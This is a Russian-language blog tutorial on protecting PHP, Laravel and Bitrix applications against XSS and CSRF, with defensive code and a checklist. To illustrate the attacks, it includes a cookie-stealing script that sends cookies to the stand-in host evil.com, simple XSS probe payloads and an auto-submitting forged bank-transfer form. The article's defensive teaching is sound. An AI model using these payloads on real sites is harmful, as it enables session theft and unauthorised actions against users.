# CSRF и XSS: защита в PHP-приложениях

URL: https://dmeshcheryakov.ru/blog/security-csrf-xss-protection/
Раздел: Безопасность
Теги: Безопасность, PHP, Laravel, Битрикс
Опубликовано: 2026-09-28
Обновлено: 2026-09-07
Автор: Дмитрий Мещеряков (https://dmeshcheryakov.ru)

> Разбираем две самые частые веб-уязвимости. Как атакуют, как защищаться, примеры для Laravel и Битрикс.

XSS и CSRF регулярно ставят рядом, хотя это атаки с противоположной логикой. XSS — это выполнение чужого кода на вашем сайте от имени пользователя. CSRF — это выполнение вашего действия с чужого сайта, тоже от имени пользователя. Разные механизмы, разные способы защиты, и путать их дорого: токен от CSRF никак не спасает от XSS, а экранирование вывода — от CSRF.

Есть, впрочем, важная асимметрия, о которой стоит сказать сразу: **XSS обходит защиту от CSRF.** Скрипт, выполняющийся на вашей странице, читает токен из формы и отправляет запрос как ни в чём не бывало. Поэтому если выбирать, с чего начинать, — начинать нужно с XSS.

## Две уязвимости, которые ломают всё

CSRF и XSS — в топ-10 OWASP уже 15 лет. Почему? Потому что их легко допустить и сложно заметить.

| Уязвимость | Что делает | Жертва |
|------------|------------|--------|
| **XSS** | Выполняет чужой JavaScript в браузере пользователя | Пользователь сайта |
| **CSRF** | Заставляет браузер пользователя выполнить действие без его ведома | Сервер, доверяющий браузеру |

Обе атаки эксплуатируют доверие: XSS — доверие браузера к сайту, CSRF — доверие сервера к браузеру.

## XSS — Cross-Site Scripting

### Как работает атака

Злоумышленник внедряет JavaScript-код на страницу. Когда жертва открывает страницу, скрипт выполняется в её браузере.

**Пример уязвимого кода:**

```php
// ❌ Опасно — данные выводятся без экранирования
<h1>Привет, <?= $_GET['name'] ?>!</h1>

// URL: /profile?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
```

Результат: cookies пользователя утекают на evil.com.

### Типы XSS

**1. Reflected (отражённый)** — вредоносный код в URL или форме, выполняется сразу.

```
https://site.com/search?q=<script>alert('XSS')</script>
```

**2. Stored (хранимый)** — код сохраняется в БД, выполняется у всех посетителей.

```php
// Комментарий с XSS сохраняется в базу
$comment = $_POST['comment']; // <script>...</script>
$db->insert('comments', ['text' => $comment]);

// И выводится всем посетителям
foreach ($comments as $c) {
    echo "<p>{$c['text']}</p>"; // ❌ XSS выполняется
}
```

**3. DOM-based** — код выполняется через JavaScript без участия сервера.

```javascript
// ❌ Опасно
document.getElementById('output').innerHTML = location.hash.slice(1);

// URL: /page#<img src=x onerror=alert('XSS')>
```

### Защита от XSS

**Экранировать нужно при выводе, а не при сохранении.** Это принципиальный момент, который часто делают наоборот.

Причина: способ экранирования зависит от того, куда попадают данные. В тексте HTML-страницы, в атрибуте, внутри JavaScript, в URL и в CSS правила разные — и данные, «обезопашенные» один раз при записи в базу, в другом контексте окажутся либо небезопасными, либо испорченными.

Плюс практическое: экранирование при сохранении портит данные необратимо. Через год выяснится, что в базе лежат `&amp;amp;` и `&quot;` вместо нормальных символов, а выгрузка в CSV или отправка в API отдаёт мусор.

Храните то, что ввёл пользователь. Экранируйте в момент вывода, способом, подходящим для конкретного места.

**1. Экранирование при выводе**

```php
// PHP
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// Laravel Blade — автоматически экранирует
{{ $userInput }}  // ✅ Безопасно
{!! $userInput !!}  // ❌ Опасно — сырой HTML

// Битрикс
echo htmlspecialcharsbx($userInput);
```

**2. Content Security Policy (CSP)**

```php
// PHP — заголовок
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
```

```nginx
# nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'";
```

CSP запрещает выполнение inline-скриптов и загрузку ресурсов с чужих доменов.

**3. HttpOnly cookies**

```php
// Cookies недоступны из JavaScript
setcookie('session', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict',
]);

// Laravel
'session' => [
    'http_only' => true,
    'secure' => true,
    'same_site' => 'strict',
],
```

**4. Санитизация HTML (если нужен rich text)**

```php
// Используйте проверенные библиотеки
use HTMLPurifier;

$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,a[href],ul,ol,li');
$purifier = new HTMLPurifier($config);

$clean = $purifier->purify($dirtyHtml);
```

### XSS в Laravel

Laravel защищает по умолчанию:

```php
// Blade автоматически экранирует
{{ $user->name }}  // ✅ htmlspecialchars()

// Но есть опасные конструкции
{!! $user->bio !!}  // ❌ Сырой HTML

// Валидация
$request->validate([
    'name' => 'required|string|max:255',
    'bio' => 'nullable|string|max:1000',
]);

// Санитизация при сохранении
$user->bio = strip_tags($request->bio, '<p><b><i>');
```

### XSS в Битрикс

```php
// ❌ Опасно
echo $_REQUEST['search'];

// ✅ Безопасно
echo htmlspecialcharsbx($_REQUEST['search']);

// Или через Битрикс API
use Bitrix\Main\Text\HtmlFilter;
echo HtmlFilter::encode($_REQUEST['search']);

// В компонентах — всегда экранируйте в template.php
<h1><?= htmlspecialcharsbx($arResult['NAME']) ?></h1>
```

**Атрибуты, которые экранирование не спасает.** Значение пользователя, подставленное в `href`, `src` или в обработчик события, остаётся опасным даже полностью экранированным: `href="javascript:..."` не содержит ни угловых скобок, ни кавычек и через `htmlspecialchars` проходит без изменений.

Для адресов нужна отдельная проверка — разбор URL и белый список схем (`http`, `https`, `mailto`). А данные пользователя внутри `onclick` и подобных атрибутов не должны оказываться вообще: обработчики вешаются кодом, а не разметкой.

## CSRF — Cross-Site Request Forgery

### Как работает атака

Пользователь авторизован на site.com. Он открывает страницу злоумышленника, которая отправляет запрос на site.com от его имени.

**Сценарий атаки:**

```html
<!-- Страница злоумышленника -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />

<!-- Или форма, которая отправляется автоматически -->
<form action="https://bank.com/transfer" method="POST" id="evil-form">
  <input type="hidden" name="to" value="hacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('evil-form').submit();</script>
```

Браузер автоматически приложит cookies site.com — и сервер выполнит перевод.

### Защита от CSRF

**1. CSRF-токены**

Сервер генерирует уникальный токен и проверяет его в каждом POST-запросе.

```php
// Генерация токена
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Форма
<form method="POST">
  <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>" />
  ...
</form>

// Проверка
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

**2. SameSite cookies**

```php
setcookie('session', $value, [
    'samesite' => 'Strict', // или 'Lax'
    'secure' => true,
    'httponly' => true,
]);
```

| Значение | Поведение |
|----------|-----------|
| `Strict` | Cookie не отправляется при переходе с другого сайта |
| `Lax` | Cookie отправляется только для GET-навигации |
| `None` | Cookie отправляется всегда (требует `Secure`) |

**3. Проверка Origin / Referer**

```php
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';

$allowedOrigins = ['https://mysite.com'];

if (!in_array($origin, $allowedOrigins)) {
    // Проверяем Referer как fallback
    $refererHost = parse_url($referer, PHP_URL_HOST);
    if ($refererHost !== 'mysite.com') {
        http_response_code(403);
        die('Invalid origin');
    }
}
```

### CSRF в Laravel

Laravel защищает автоматически:

```php
// В форме — директива @csrf
<form method="POST" action="/profile">
    @csrf
    <input type="text" name="name" />
    <button type="submit">Сохранить</button>
</form>

// Для AJAX — токен в meta-теге
<meta name="csrf-token" content="{{ csrf_token() }}">

// И в JavaScript
axios.defaults.headers.common['X-CSRF-TOKEN'] = 
    document.querySelector('meta[name="csrf-token"]').content;
```

**Исключения для API:**

```php
// app/Http/Middleware/VerifyCsrfToken.php
protected $except = [
    'api/*',           // API использует токены/JWT
    'webhook/stripe',  // Внешние webhook'и
];
```

### CSRF в Битрикс

```php
// Генерация токена
$sessid = bitrix_sessid();

// В форме
<form method="POST">
    <?= bitrix_sessid_post() ?>
    <!-- или -->
    <input type="hidden" name="sessid" value="<?= bitrix_sessid() ?>" />
</form>

// Проверка
if (!check_bitrix_sessid()) {
    die('CSRF token invalid');
}

// Для AJAX
BX.ajax.runAction('module:controller.action', {
    sessid: BX.bitrix_sessid(),
    data: { /* ... */ }
});
```

## Комплексная защита

### Чеклист безопасности

**XSS:**
- [ ] Все пользовательские данные экранируются при выводе
- [ ] CSP-заголовок настроен
- [ ] Cookies помечены как HttpOnly
- [ ] Rich-text проходит через HTMLPurifier
- [ ] Inline JavaScript минимизирован или использует nonce

**CSRF:**
- [ ] Все формы содержат CSRF-токен
- [ ] Cookies имеют SameSite=Strict или Lax
- [ ] API использует Bearer-токены вместо cookies
- [ ] Критичные действия требуют подтверждения (2FA, пароль)

### Пример защищённой формы

```php
// Laravel
<form method="POST" action="{{ route('profile.update') }}">
    @csrf
    <input 
        type="text" 
        name="name" 
        value="{{ old('name', $user->name) }}"
        maxlength="255"
    />
    <textarea 
        name="bio" 
        maxlength="1000"
    >{{ old('bio', $user->bio) }}</textarea>
    <button type="submit">Сохранить</button>
</form>

// Контроллер
public function update(Request $request)
{
    $validated = $request->validate([
        'name' => 'required|string|max:255',
        'bio' => 'nullable|string|max:1000',
    ]);
    
    // Дополнительная санитизация для bio
    $validated['bio'] = strip_tags($validated['bio'], '<p><b><i><a>');
    
    $request->user()->update($validated);
    
    return back()->with('success', 'Профиль обновлён');
}
```

## Итоги

| Атака | Защита |
|-------|--------|
| **XSS** | Экранирование, CSP, HttpOnly cookies, HTMLPurifier |
| **CSRF** | Токены, SameSite cookies, проверка Origin |

## Что проверить в своём проекте

**Найдите все места, где вывод не экранируется.** В Laravel это `{!! !!}`, в Битриксе — прямая вставка значений в разметку без `htmlspecialcharsbx()`. Каждое такое место должно иметь обоснование, а не «здесь же наши данные»: «наши» данные приходят из админки, а в админку попадают через импорт, интеграцию и форму обратной связи.

**Проверьте, что CSRF-защита не отключена для отдельных маршрутов.** Исключения обычно добавляют для вебхуков — и это правильно, у внешней системы нет вашего токена, — но каждое исключение должно иметь собственную аутентификацию: подпись, секретный заголовок, список адресов. Маршрут без CSRF-токена и без иной проверки открыт для кого угодно.

**Настройте `SameSite` для кук сессии.** Современные браузеры применяют `Lax` по умолчанию, что закрывает значительную часть CSRF-сценариев, но полагаться на умолчание браузера пользователя не стоит — задайте явно.

**Помните про порядок приоритетов.** Токены, `SameSite` и проверка `Origin` — три независимых механизма против CSRF, и они складываются. Но ни один из них не работает, если на странице выполняется чужой скрипт.

**Фреймворки закрывают базовые случаи, и это одновременно хорошо и опасно.** Хорошо — потому что защита работает без усилий. Опасно — потому что о механизме не задумываются, пока не возникает нестандартная ситуация: вывод HTML из редактора, отдельный маршрут для интеграции, форма на поддомене. Именно в этих местах защиту случайно и отключают — не со зла, а потому что «иначе не работало».

Практическое правило: любое отключение штатной защиты должно сопровождаться комментарием с объяснением, что применено взамен. Если объяснить нечем — значит, ничего не применено.